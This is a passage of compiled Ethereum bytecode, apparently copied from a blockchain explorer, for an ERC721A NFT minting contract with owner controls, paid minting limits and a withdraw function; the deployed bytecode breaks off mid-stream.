b60405180910390fd5b612934600086838761282c565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b85811015612bce57818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a48315612bb957612b796000888488612456565b612bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baf906137aa565b60405180910390fd5b5b81806001019250508080600101915050612b02565b508060008190555050612be46000868387612832565b5050505050565b828054612bf790613b65565b90600052602060002090601f016020900481019282612c195760008555612c60565b82601f10612c3257805160ff1916838001178555612c60565b82800160010185558215612c60579182015b82811115612c5f578251825591602001919060010190612c44565b5b509050612c6d9190612cab565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b80821115612cc4576000816000905550600101612cac565b5090565b6000612cdb612cd6846138ea565b6138c5565b905082815260208101848484011115612cf357600080fd5b612cfe848285613b23565b509392505050565b6000612d19612d148461391b565b6138c5565b905082815260208101848484011115612d3157600080fd5b612d3c848285613b23565b509392505050565b600081359050612d5381614399565b92915050565b600081359050612d68816143b0565b92915050565b600081359050612d7d816143c7565b92915050565b600081519050612d92816143c7565b92915050565b600082601f830112612da957600080fd5b8135612db9848260208601612cc8565b91505092915050565b600082601f830112612dd357600080fd5b8135612de3848260208601612d06565b91505092915050565b600081359050612dfb816143de565b92915050565b600060208284031215612e1357600080fd5b6000612e2184828501612d44565b91505092915050565b60008060408385031215612e3d57600080fd5b6000612e4b85828601612d44565b9250506020612e5c85828601612d44565b9150509250929050565b600080600060608486031215612e7b57600080fd5b6000612e8986828701612d44565b9350506020612e9a86828701612d44565b9250506040612eab86828701612dec565b9150509250925092565b60008060008060808587031215612ecb57600080fd5b6000612ed987828801612d44565b9450506020612eea87828801612d44565b9350506040612efb87828801612dec565b925050606085013567ffffffffffffffff811115612f1857600080fd5b612f2487828801612d98565b91505092959194509250565b60008060408385031215612f4357600080fd5b6000612f5185828601612d44565b9250506020612f6285828601612d59565b9150509250929050565b60008060408385031215612f7f57600080fd5b6000612f8d85828601612d44565b9250506020612f9e85828601612dec565b9150509250929050565b600060208284031215612fba57600080fd5b6000612fc884828501612d6e565b91505092915050565b600060208284031215612fe357600080fd5b6000612ff184828501612d83565b91505092915050565b60006020828403121561300c57600080fd5b600082013567ffffffffffffffff81111561302657600080fd5b61303284828501612dc2565b91505092915050565b60006020828403121561304d57600080fd5b600061305b84828501612dec565b91505092915050565b61306d81613aaf565b82525050565b61307c81613ac1565b82525050565b600061308d8261394c565b6130978185613962565b93506130a7818560208601613b32565b6130b081613cfe565b840191505092915050565b60006130c682613957565b6130d0818561397e565b93506130e0818560208601613b32565b6130e981613cfe565b840191505092915050565b60006130ff82613957565b613109818561398f565b9350613119818560208601613b32565b80840191505092915050565b600061313260228361397e565b915061313d82613d0f565b604082019050919050565b600061315560078361397e565b915061316082613d5e565b602082019050919050565b600061317860268361397e565b915061318382613d87565b604082019050919050565b600061319b602a8361397e565b91506131a682613dd6565b604082019050919050565b60006131be60238361397e565b91506131c982613e25565b604082019050919050565b60006131e160258361397e565b91506131ec82613e74565b604082019050919050565b600061320460398361397e565b915061320f82613ec3565b604082019050919050565b6000613227602b8361397e565b915061323282613f12565b604082019050919050565b600061324a60268361397e565b915061325582613f61565b604082019050919050565b600061326d60058361398f565b915061327882613fb0565b600582019050919050565b600061329060208361397e565b915061329b82613fd9565b602082019050919050565b60006132b3602f8361397e565b91506132be82614002565b604082019050919050565b60006132d6601a8361397e565b91506132e182614051565b602082019050919050565b60006132f960328361397e565b91506133048261407a565b604082019050919050565b600061331c601d8361397e565b9150613327826140c9565b602082019050919050565b600061333f60228361397e565b915061334a826140f2565b604082019050919050565b6000613362600083613973565b915061336d82614141565b600082019050919050565b600061338560108361397e565b915061339082614144565b602082019050919050565b60006133a860338361397e565b91506133b38261416d565b604082019050919050565b60006133cb60218361397e565b91506133d6826141bc565b604082019050919050565b60006133ee60288361397e565b91506133f98261420b565b604082019050919050565b600061341160138361397e565b915061341c8261425a565b602082019050919050565b6000613434602e8361397e565b915061343f82614283565b604082019050919050565b6000613457601f8361397e565b9150613462826142d2565b602082019050919050565b600061347a602f8361397e565b9150613485826142fb565b604082019050919050565b600061349d602d8361397e565b91506134a88261434a565b604082019050919050565b6134bc81613b19565b82525050565b60006134ce82856130f4565b91506134da82846130f4565b91506134e582613260565b91508190509392505050565b60006134fc82613355565b9150819050919050565b600060208201905061351b6000830184613064565b92915050565b60006080820190506135366000830187613064565b6135436020830186613064565b61355060408301856134b3565b81810360608301526135628184613082565b905095945050505050565b60006020820190506135826000830184613073565b92915050565b600060208201905081810360008301526135a281846130bb565b905092915050565b600060208201905081810360008301526135c381613125565b9050919050565b600060208201905081810360008301526135e381613148565b9050919050565b600060208201905081810360008301526136038161316b565b9050919050565b600060208201905081810360008301526136238161318e565b9050919050565b60006020820190508181036000830152613643816131b1565b9050919050565b60006020820190508181036000830152613663816131d4565b9050919050565b60006020820190508181036000830152613683816131f7565b9050919050565b600060208201905081810360008301526136a38161321a565b9050919050565b600060208201905081810360008301526136c38161323d565b9050919050565b600060208201905081810360008301526136e381613283565b9050919050565b60006020820190508181036000830152613703816132a6565b9050919050565b60006020820190508181036000830152613723816132c9565b9050919050565b60006020820190508181036000830152613743816132ec565b9050919050565b600060208201905081810360008301526137638161330f565b9050919050565b6000602082019050818103600083015261378381613332565b9050919050565b600060208201905081810360008301526137a381613378565b9050919050565b600060208201905081810360008301526137c38161339b565b9050919050565b600060208201905081810360008301526137e3816133be565b9050919050565b60006020820190508181036000830152613803816133e1565b9050919050565b6000602082019050818103600083015261382381613404565b9050919050565b6000602082019050818103600083015261384381613427565b9050919050565b600060208201905081810360008301526138638161344a565b9050919050565b600060208201905081810360008301526138838161346d565b9050919050565b600060208201905081810360008301526138a381613490565b9050919050565b60006020820190506138bf60008301846134b3565b92915050565b60006138cf6138e0565b90506138db8282613b97565b919050565b6000604051905090565b600067ffffffffffffffff82111561390557613904613ccf565b5b61390e82613cfe565b9050602081019050919050565b600067ffffffffffffffff82111561393657613935613ccf565b5b61393f82613cfe565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006139a582613b19565b91506139b083613b19565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139e5576139e4613c42565b5b828201905092915050565b60006139fb82613b19565b9150613a0683613b19565b925082613a1657613a15613c71565b5b828204905092915050565b6000613a2c82613b19565b9150613a3783613b19565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a7057613a6f613c42565b5b828202905092915050565b6000613a8682613b19565b9150613a9183613b19565b925082821015613aa457613aa3613c42565b5b828203905092915050565b6000613aba82613af9565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613b50578082015181840152602081019050613b35565b83811115613b5f576000848401525b50505050565b60006002820490506001821680613b7d57607f821691505b60208210811415613b9157613b90613ca0565b5b50919050565b613ba082613cfe565b810181811067ffffffffffffffff82111715613bbf57613bbe613ccf565b5b80604052505050565b6000613bd382613b19565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c0657613c05613c42565b5b600182019050919050565b6000613c1c82613b19565b9150613c2783613b19565b925082613c3757613c36613c71565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f206d6f726500000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f506c656173652073656e642074686520657861637420616d6f756e742e000000600082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b7f4d61782070657220545820726561636865642e00000000000000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b6143a281613aaf565b81146143ad57600080fd5b50565b6143b981613ac1565b81146143c457600080fd5b50565b6143d081613acd565b81146143db57600080fd5b50565b6143e781613b19565b81146143f257600080fd5b5056fea2646970667358221220883dc33ce7b5455e4ae04528db937d86d47e01f8c4daa2774aa4f59cfe62ab7764736f6c63430008010033697066733a2f2f516d64595a6b676a70336a685771774d397839314776503739654659504e7451316238565179416b3156675251392f

Deployed Bytecode

0x6080604052600436106101cd5760003560e01c80638da5cb5b116100f7578063a22cb46511610095578063d5abeb0111610064578063d5abeb0114610667578063e985e9c514610692578063f2fde38b146106cf578063f968adbe146106f8576101cd565b8063a22cb465146105ad578063b88d4fde146105d6578063c7c39ffc146105ff578063c87b56dd1461062a576101cd565b806395d89b41116100d157806395d89b4114610512578063a035b1fe1461053d578063a0712d6814610568578063a0bcfc7f14610584576101cd565b80638da5cb5b14610495578063911759e4146104c057806391b7f5ed146104e9576101cd565b8063333e44e61161016f5780636352211e1161013e5780636352211e146103d95780636c0360eb1461041657806370a0823114610441578063715018a61461047e576101cd565b8063333e44e6146103315780633ccfd60b1461035c57806342842e0e146103735780634f6ccce71461039c576101cd565b8063095ea7b3116101ab578063095ea7b31461027757806318160ddd146102a057806323b872dd146102cb5780632f745c59146102f4576101cd565b806301ffc9a7146101d257806306fdde031461020f578063081812fc1461023a575b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f49190612fa8565b610723565b604051610206919061356d565b60405180910390f35b34801561021b57600080fd5b5061022461086d565b6040516102319190613588565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c919061303b565b6108ff565b60405161026e9190613506565b60405180910390f35b34801561028357600080fd5b5061029e60048036038101906102999190612f6c565b610984565b005b3480156102ac57600080fd5b506102b5610a9d565b6040516102c291906138aa565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190612e66565b610aa6565b005b34801561030057600080fd5b5061031b60048036038101906103169190612f6c565b610ab6565b60405161032891906138aa565b60405180910390f35b34801561033d57600080fd5b50610346610ca8565b60405161035391906138aa565b60405180910390f35b34801561036857600080fd5b50610371610cae565b005b34801561037f57600080fd5b5061039a60048036038101906103959190612e66565b610e8e565b005b3480156103a857600080fd5b506103c360048036038101906103be919061303b565b610eae565b6040516103d091906138aa565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb919061303b565b610f01565b60405161040d9190613506565b60405180910390f35b34801561042257600080fd5b5061042b610f17565b6040516104389190613588565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190612e01565b610fa5565b60405161047591906138aa565b60405180910390f35b34801561048a57600080fd5b5061049361108e565b005b3480156104a157600080fd5b506104aa611175565b6040516104b79190613506565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190612f6c565b61119f565b005b3480156104f557600080fd5b50610510600480360381019061050b919061303b565b611288565b005b34801561051e57600080fd5b5061052761136d565b6040516105349190613588565b60405180910390f35b34801561054957600080fd5b506105526113ff565b60405161055f91906138aa565b60405180910390f35b610582600480360381019061057d919061303b565b611405565b005b34801561059057600080fd5b506105ab60048036038101906105a69190612ffa565b6115e5565b005b3480156105b957600080fd5b506105d460048036038101906105cf9190612f30565b6116da565b005b3480156105e257600080fd5b506105fd60048036038101906105f89190612eb5565b61185b565b005b34801561060b57600080fd5b506106146118b7565b60405161062191906138aa565b60405180910390f35b34801561063657600080fd5b50610651600480360381019061064c919061303b565b6118bd565b60405161065e9190613588565b60405180910390f35b34801561067357600080fd5b5061067c611970565b60405161068991906138aa565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b49190612e2a565b611976565b6040516106c6919061356d565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190612e01565b611a0a565b005b34801561070457600080fd5b5061070d611b61565b60405161071a91906138aa565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107ee57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061085657507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610866575061086582611b67565b5b9050919050565b60606001805461087c90613b65565b80601f01602080910402602001604051908101604052809291908181526020018280546108a890613b65565b80156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b5050505050905090565b600061090a82611bd1565b610949576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109409061388a565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061098f82610f01565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f79061376a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a1f611bde565b73ffffffffffffffffffffffffffffffffffffffff161480610a4e5750610a4d81610a48611bde565b611976565b5b610a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a849061366a565b60405180910390fd5b610a98838383611be6565b505050565b60008054905090565b610ab1838383611c98565b505050565b6000610ac183610fa5565b8210610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906135aa565b60405180910390fd5b6000610b0c610a9d565b905060008060005b83811015610c66576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610c0657806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c585786841415610c4f578195505050505050610ca2565b83806001019450505b508080600101915050610b14565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c999061382a565b60405180910390fd5b92915050565b600e5481565b610cb6611bde565b73ffffffffffffffffffffffffffffffffffffffff16610cd4611175565b73ffffffffffffffffffffffffffffffffffffffff161480610d4a5750610cf9611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d80906136ca565b60405180910390fd5b60026009541415610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69061384a565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff1647604051610dfd906134f1565b60006040518083038185875af1925050503d8060008114610e3a576040519150601f19603f3d011682016040523d82523d6000602084013e610e3f565b606091505b5050905080610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061378a565b60405180910390fd5b506001600981905550565b610ea98383836040518060200160405280600081525061185b565b505050565b6000610eb8610a9d565b8210610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef09061362a565b60405180910390fd5b819050919050565b6000610f0c826121d8565b600001519050919050565b600a8054610f2490613b65565b80601f0160208091040260200160405190810160405280929190818152602001828054610f5090613b65565b8015610f9d5780601f10610f7257610100808354040283529160200191610f9d565b820191906000526020600020905b815481529060010190602001808311610f8057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d9061368a565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611096611bde565b73ffffffffffffffffffffffffffffffffffffffff166110b4611175565b73ffffffffffffffffffffffffffffffffffffffff16148061112a57506110d9611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611169576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611160906136ca565b60405180910390fd5b6111736000612372565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6111a7611bde565b73ffffffffffffffffffffffffffffffffffffffff166111c5611175565b73ffffffffffffffffffffffffffffffffffffffff16148061123b57506111ea611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61127a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611271906136ca565b60405180910390fd5b6112848282612438565b5050565b611290611bde565b73ffffffffffffffffffffffffffffffffffffffff166112ae611175565b73ffffffffffffffffffffffffffffffffffffffff16148061132457506112d3611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a906136ca565b60405180910390fd5b80600b8190555050565b60606002805461137c90613b65565b80601f01602080910402602001604051908101604052809291908181526020018280546113a890613b65565b80156113f55780601f106113ca576101008083540402835291602001916113f5565b820191906000526020600020905b8154815290600101906020018083116113d857829003601f168201915b5050505050905090565b600b5481565b6000600b54905060006001600e5461141d919061399a565b83611426610a9d565b611430919061399a565b1080156114895750600d5483601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611486919061399a565b11155b905080156114ec576000915082601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114e4919061399a565b925050819055505b81836114f89190613a21565b34101561153a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115319061374a565b60405180910390fd5b600f5483611546610a9d565b611550919061399a565b1115611591576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611588906135ca565b60405180910390fd5b600c548311156115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd9061380a565b60405180910390fd5b6115e03384612438565b505050565b6115ed611bde565b73ffffffffffffffffffffffffffffffffffffffff1661160b611175565b73ffffffffffffffffffffffffffffffffffffffff1614806116815750611630611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b7906136ca565b60405180910390fd5b80600a90805190602001906116d6929190612beb565b5050565b6116e2611bde565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611750576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117479061370a565b60405180910390fd5b806006600061175d611bde565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661180a611bde565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161184f919061356d565b60405180910390a35050565b611866848484611c98565b61187284848484612456565b6118b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a8906137aa565b60405180910390fd5b50505050565b600d5481565b60606118c882611bd1565b611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906136ea565b60405180910390fd5b60006119116125ed565b905060008151116119315760405180602001604052806000815250611968565b80611947600185611942919061399a565b61267f565b6040516020016119589291906134c2565b6040516020818303038152906040525b915050919050565b600f5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611a12611bde565b73ffffffffffffffffffffffffffffffffffffffff16611a30611175565b73ffffffffffffffffffffffffffffffffffffffff161480611aa65750611a55611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc906136ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4c906135ea565b60405180910390fd5b611b5e81612372565b50565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000611ca3826121d8565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611cca611bde565b73ffffffffffffffffffffffffffffffffffffffff161480611d265750611cef611bde565b73ffffffffffffffffffffffffffffffffffffffff16611d0e846108ff565b73ffffffffffffffffffffffffffffffffffffffff16145b80611d425750611d418260000151611d3c611bde565b611976565b5b905080611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b9061372a565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614611df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ded906136aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d9061364a565b60405180910390fd5b611e73858585600161282c565b611e836000848460000151611be6565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612168576120c781611bd1565b156121675782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46121d18585856001612832565b5050505050565b6121e0612c71565b6121e982611bd1565b612228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221f9061360a565b60405180910390fd5b60008290505b60008110612331576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461232257809250505061236d565b5080806001900391505061222e565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123649061386a565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612452828260405180602001604052806000815250612838565b5050565b60006124778473ffffffffffffffffffffffffffffffffffffffff1661284a565b156125e0578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026124a0611bde565b8786866040518563ffffffff1660e01b81526004016124c29493929190613521565b602060405180830381600087803b1580156124dc57600080fd5b505af192505050801561250d57506040513d601f19601f8201168201806040525081019061250a9190612fd1565b60015b612590573d806000811461253d576040519150601f19603f3d011682016040523d82523d6000602084013e612542565b606091505b50600081511415612588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257f906137aa565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506125e5565b600190505b949350505050565b6060600a80546125fc90613b65565b80601f016020809104026020016040519081016040528092919081815260200182805461262890613b65565b80156126755780601f1061264a57610100808354040283529160200191612675565b820191906000526020600020905b81548152906001019060200180831161265857829003601f168201915b5050505050905090565b606060008214156126c7576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612827565b600082905060005b600082146126f95780806126e290613bc8565b915050600a826126f291906139f0565b91506126cf565b60008167ffffffffffffffff81111561273b577f4e487b71000000000000000000000000000000000000000000